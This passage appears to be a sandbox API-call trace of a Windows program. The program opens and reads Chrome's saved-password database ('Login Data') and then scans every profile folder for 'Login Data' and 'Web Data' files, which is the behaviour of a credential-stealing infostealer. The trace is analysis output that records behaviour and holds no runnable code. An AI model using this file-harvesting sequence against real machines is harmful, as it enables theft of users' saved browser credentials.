[0083.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77
[0083.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", cchWideChar=-1, lpMultiByteStr=0x39e4b0, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpUsedDefaultChar=0x0) returned 77
[0083.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x128db8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77
[0083.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x128db8, cbMultiByte=-1, lpWideCharStr=0x39c9c0, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 77
[0083.594] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x128ec4, lpBytesPerSector=0x128ec0, lpNumberOfFreeClusters=0x128ec4, lpTotalNumberOfClusters=0x128ec4 | out: lpSectorsPerCluster=0x128ec4, lpBytesPerSector=0x128ec0, lpNumberOfFreeClusters=0x128ec4, lpTotalNumberOfClusters=0x128ec4) returned 1
[0083.594] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x129028*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x129028*=0) returned 0x0
[0083.594] ReadFile (in: hFile=0x10c, lpBuffer=0x12907c, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x129048, lpOverlapped=0x0 | out: lpBuffer=0x12907c*, lpNumberOfBytesRead=0x129048*=0x64, lpOverlapped=0x0) returned 1
[0083.600] LockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
[0083.600] LockFileEx (in: hFile=0x10c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x128d04 | out: lpOverlapped=0x128d04) returned 1
[0083.600] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd6d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85
[0083.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd6d, cbMultiByte=-1, lpWideCharStr=0x127b688, cchWideChar=85 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 85
[0083.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), fInfoLevelId=0x0, lpFileInformation=0x128cf4 | out: lpFileInformation=0x128cf4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fb82c60, ftCreationTime.dwHighDateTime=0x1d2dc1b, ftLastAccessTime.dwLowDateTime=0x3fb82c60, ftLastAccessTime.dwHighDateTime=0x1d2dc1b, ftLastWriteTime.dwLowDateTime=0x3fc1b1e0, ftLastWriteTime.dwHighDateTime=0x1d2dc1b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
[0083.601] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x128d28 | out: lpFileSizeHigh=0x128d28*=0x0) returned 0x4800
[0083.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bdc2, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81
[0083.601] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bdc2, cbMultiByte=-1, lpWideCharStr=0x127b688, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal") returned 81
[0083.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\login data-wal"), fInfoLevelId=0x0, lpFileInformation=0x128d0c | out: lpFileInformation=0x128d0c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0083.601] GetLastError () returned 0x2
[0083.601] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x128d40 | out: lpFileSizeHigh=0x128d40*=0x0) returned 0x4800
[0083.601] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x128ce8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x128ce8*=0) returned 0x0
[0083.601] ReadFile (in: hFile=0x10c, lpBuffer=0x39f414, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x128d08, lpOverlapped=0x0 | out: lpBuffer=0x39f414*, lpNumberOfBytesRead=0x128d08*=0x800, lpOverlapped=0x0) returned 1
[0083.602] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.602] LockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
[0083.602] LockFileEx (in: hFile=0x10c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x128f14 | out: lpOverlapped=0x128f14) returned 1
[0083.602] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd6d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85
[0083.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd6d, cbMultiByte=-1, lpWideCharStr=0x127b688, cchWideChar=85 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 85
[0083.602] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), fInfoLevelId=0x0, lpFileInformation=0x128f04 | out: lpFileInformation=0x128f04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fb82c60, ftCreationTime.dwHighDateTime=0x1d2dc1b, ftLastAccessTime.dwLowDateTime=0x3fb82c60, ftLastAccessTime.dwHighDateTime=0x1d2dc1b, ftLastWriteTime.dwLowDateTime=0x3fc1b1e0, ftLastWriteTime.dwHighDateTime=0x1d2dc1b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
[0083.602] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x128f50 | out: lpFileSizeHigh=0x128f50*=0x0) returned 0x4800
[0083.602] SetFilePointer (in: hFile=0x10c, lDistanceToMove=24, lpDistanceToMoveHigh=0x128f3c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x128f3c*=0) returned 0x18
[0083.602] ReadFile (in: hFile=0x10c, lpBuffer=0x128f7c, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x128f5c, lpOverlapped=0x0 | out: lpBuffer=0x128f7c*, lpNumberOfBytesRead=0x128f5c*=0x10, lpOverlapped=0x0) returned 1
[0083.602] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x128f38 | out: lpFileSizeHigh=0x128f38*=0x0) returned 0x4800
[0083.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bdc2, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81
[0083.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bdc2, cbMultiByte=-1, lpWideCharStr=0x127b688, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal") returned 81
[0083.602] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-wal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\login data-wal"), fInfoLevelId=0x0, lpFileInformation=0x128f1c | out: lpFileInformation=0x128f1c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0083.602] GetLastError () returned 0x2
[0083.602] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x128f50 | out: lpFileSizeHigh=0x128f50*=0x0) returned 0x4800
[0083.603] SetFilePointer (in: hFile=0x10c, lDistanceToMove=6144, lpDistanceToMoveHigh=0x128f10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x128f10*=0) returned 0x1800
[0083.603] ReadFile (in: hFile=0x10c, lpBuffer=0x127dec4, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x128f30, lpOverlapped=0x0 | out: lpBuffer=0x127dec4*, lpNumberOfBytesRead=0x128f30*=0x800, lpOverlapped=0x0) returned 1
[0083.603] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.608] CloseHandle (hObject=0x10c) returned 1
[0083.609] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.609] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.609] wcslen (_String="EVWhitelist") returned 0xb
[0083.609] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.609] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.609] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.609] wcscat (in: _Dest=0x12b7bc, _Source="EVWhitelist" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
[0083.609] wcscmp (_String1="EVWhitelist", _String2="..") returned 1
[0083.609] wcscmp (_String1="EVWhitelist", _String2=".") returned 1
[0083.609] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x45
[0083.609] wcslen (_String="Web Data") returned 0x8
[0083.609] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
[0083.609] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x45
[0083.609] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\"
[0083.609] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data"
[0083.609] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\web data")) returned 0xffffffff
[0083.609] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x45
[0083.609] wcslen (_String="Login Data") returned 0xa
[0083.609] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
[0083.609] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x45
[0083.609] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\"
[0083.609] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data"
[0083.609] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\login data")) returned 0xffffffff
[0083.610] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.610] wcslen (_String="FileTypePolicies") returned 0x10
[0083.610] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.610] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.610] wcscat (in: _Dest=0x12b7bc, _Source="FileTypePolicies" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
[0083.610] wcscmp (_String1="FileTypePolicies", _String2="..") returned 1
[0083.610] wcscmp (_String1="FileTypePolicies", _String2=".") returned 1
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x4a
[0083.610] wcslen (_String="Web Data") returned 0x8
[0083.610] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x4a
[0083.610] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\"
[0083.610] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data"
[0083.610] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\web data")) returned 0xffffffff
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x4a
[0083.610] wcslen (_String="Login Data") returned 0xa
[0083.610] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x4a
[0083.610] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\"
[0083.610] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data"
[0083.610] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\login data")) returned 0xffffffff
[0083.610] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.610] wcslen (_String="First Run") returned 0x9
[0083.610] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.610] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.610] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.610] wcscat (in: _Dest=0x12b7bc, _Source="First Run" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\First Run"
[0083.610] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.611] wcslen (_String="Local State") returned 0xb
[0083.611] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.611] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.611] wcscat (in: _Dest=0x12b7bc, _Source="Local State" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
[0083.611] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.611] wcslen (_String="OriginTrials") returned 0xc
[0083.611] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.611] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.611] wcscat (in: _Dest=0x12b7bc, _Source="OriginTrials" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
[0083.611] wcscmp (_String1="OriginTrials", _String2="..") returned 1
[0083.611] wcscmp (_String1="OriginTrials", _String2=".") returned 1
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x46
[0083.611] wcslen (_String="Web Data") returned 0x8
[0083.611] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x46
[0083.611] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\"
[0083.611] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data"
[0083.611] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\origintrials\\web data")) returned 0xffffffff
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x46
[0083.611] wcslen (_String="Login Data") returned 0xa
[0083.611] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x46
[0083.611] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\"
[0083.611] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data"
[0083.611] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\origintrials\\login data")) returned 0xffffffff
[0083.611] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.611] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.612] wcslen (_String="PepperFlash") returned 0xb
[0083.612] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.612] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.612] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
